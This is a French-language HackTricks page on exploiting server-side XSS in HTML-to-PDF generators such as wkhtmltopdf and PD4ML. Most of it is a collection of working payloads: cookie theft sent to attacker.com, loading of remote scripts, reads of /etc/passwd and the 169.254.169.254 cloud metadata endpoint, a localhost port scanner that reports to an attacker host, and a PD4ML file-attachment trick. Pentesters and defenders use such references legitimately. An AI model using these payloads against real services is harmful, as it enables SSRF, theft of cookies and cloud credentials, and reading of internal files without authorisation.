Server Side XSS (Dynamic PDF)

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Server Side XSS (Dynamic PDF)

Si une page web crée un PDF en utilisant une entrée contrôlée par l'utilisateur, vous pouvez essayer de tromper le bot qui crée le PDF pour exécuter du code JS arbitraire. Ainsi, si le bot créateur de PDF trouve des balises HTML, il va les interpréter, et vous pouvez abuser de ce comportement pour provoquer un XSS côté serveur.

Veuillez noter que les balises <script></script> ne fonctionnent pas toujours, vous aurez donc besoin d'une méthode différente pour exécuter du JS (par exemple, en abusant de <img ). De plus, notez que dans une exploitation régulière, vous pourrez voir/télécharger le PDF créé, vous pourrez donc voir tout ce que vous écrivez via JS (en utilisant document.write() par exemple). Mais, si vous ne pouvez pas voir le PDF créé, vous devrez probablement extraire les informations en effectuant une requête web vers vous (Aveugle).

Génération de PDF populaire

  • wkhtmltopdf est connu pour sa capacité à convertir HTML et CSS en documents PDF, en utilisant le moteur de rendu WebKit. Cet outil est disponible en tant qu'utilitaire en ligne de commande open-source, le rendant accessible à un large éventail d'applications.

  • TCPDF offre une solution robuste dans l'écosystème PHP pour la génération de PDF. Il est capable de gérer les images, les graphiques et le chiffrement, ce qui démontre sa polyvalence pour la création de documents complexes.

  • Pour ceux travaillant dans un environnement Node.js, PDFKit présente une option viable. Il permet la génération de documents PDF directement à partir de HTML et CSS, établissant un lien entre le contenu web et les formats imprimables.

  • Les développeurs Java pourraient préférer iText, une bibliothèque qui facilite non seulement la création de PDF, mais prend également en charge des fonctionnalités avancées telles que les signatures numériques et le remplissage de formulaires. Son ensemble de fonctionnalités complet le rend adapté à la génération de documents sécurisés et interactifs.

  • FPDF est une autre bibliothèque PHP, distinguée par sa simplicité et sa facilité d'utilisation. Elle est conçue pour les développeurs recherchant une approche simple de la génération de PDF, sans avoir besoin de fonctionnalités étendues.

Payloads

Découverte

<!-- Basic discovery, Write somthing-->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>

<!--Basic blind discovery, load a resource-->
<img src="http://attacker.com"/>
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">

SVG

L'un des payloads précédents ou suivants peut être utilisé à l'intérieur de ce payload SVG. Un iframe accédant au sous-domaine Burpcollab et un autre accédant au point de terminaison des métadonnées sont donnés comme exemples.

<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
<foreignObject width="800" height="500">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
</body>
</foreignObject>
</g>
</svg>


<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<script type="text/javascript">
// <![CDATA[
alert(1);
// ]]>
</script>
</svg>

Vous pouvez trouver beaucoup d'autres charges utiles SVG dans https://github.com/allanlw/svg-cheatsheet

Divulgation de chemin

<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>

Charger un script externe

La meilleure façon de exploiter cette vulnérabilité est d'abuser de la vulnérabilité pour faire charger au bot un script que vous contrôlez localement. Ensuite, vous pourrez modifier le payload localement et faire charger au bot avec le même code à chaque fois.

<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>

Lire un fichier local / SSRF

Remplacez file:///etc/passwd par http://169.254.169.254/latest/user-data par exemple pour essayer d'accéder à une page web externe (SSRF).

Si le SSRF est autorisé, mais que vous ne pouvez pas atteindre un domaine ou une IP intéressante, consultez cette page pour des éventuels contournements.

<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
</script>
<script>
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
xhzeem.onerror = function(){document.write('failed!')}
xhzeem.open("GET","file:///etc/passwd");
xhzeem.send();
</script>
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>
<embed src="file:///etc/passwd>" width="400" height="400">
<style><iframe src="file:///etc/passwd">
<img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />

Délai du bot

<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
let time = 500;
setInterval(()=>{
let img = document.createElement("img");
img.src = `https://attacker.com/ping?time=${time}ms`;
time += 500;
}, 500);
</script>
<img src="https://attacker.com/delay">

Analyse de port

<!--Scan local port and receive a ping indicating which ones are found-->
<script>
const checkPort = (port) => {
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}`;
});
}

for(let i=0; i<1000; i++) {
checkPort(i);
}
</script>
<img src="https://attacker.com/startingScan">

Cette vulnérabilité peut être très facilement transformée en SSRF (car vous pouvez faire charger des ressources externes au script). Alors essayez simplement de l'exploiter (lire des métadonnées ?).

Pièces jointes : PD4ML

Il existe des moteurs HTML vers PDF qui permettent de spécifier des pièces jointes pour le PDF, comme PD4ML. Vous pouvez abuser de cette fonctionnalité pour attacher n'importe quel fichier local au PDF. Pour ouvrir la pièce jointe, j'ai ouvert le fichier avec Firefox et double-cliqué sur le symbole de trombone pour enregistrer la pièce jointe en tant que nouveau fichier. Capturer la réponse PDF avec Burp devrait également afficher la pièce jointe en texte clair à l'intérieur du PDF.

<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
<html><pd4ml:attachment src="/etc/passwd" description="attachment sample" icon="Paperclip"/></html>

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Last updated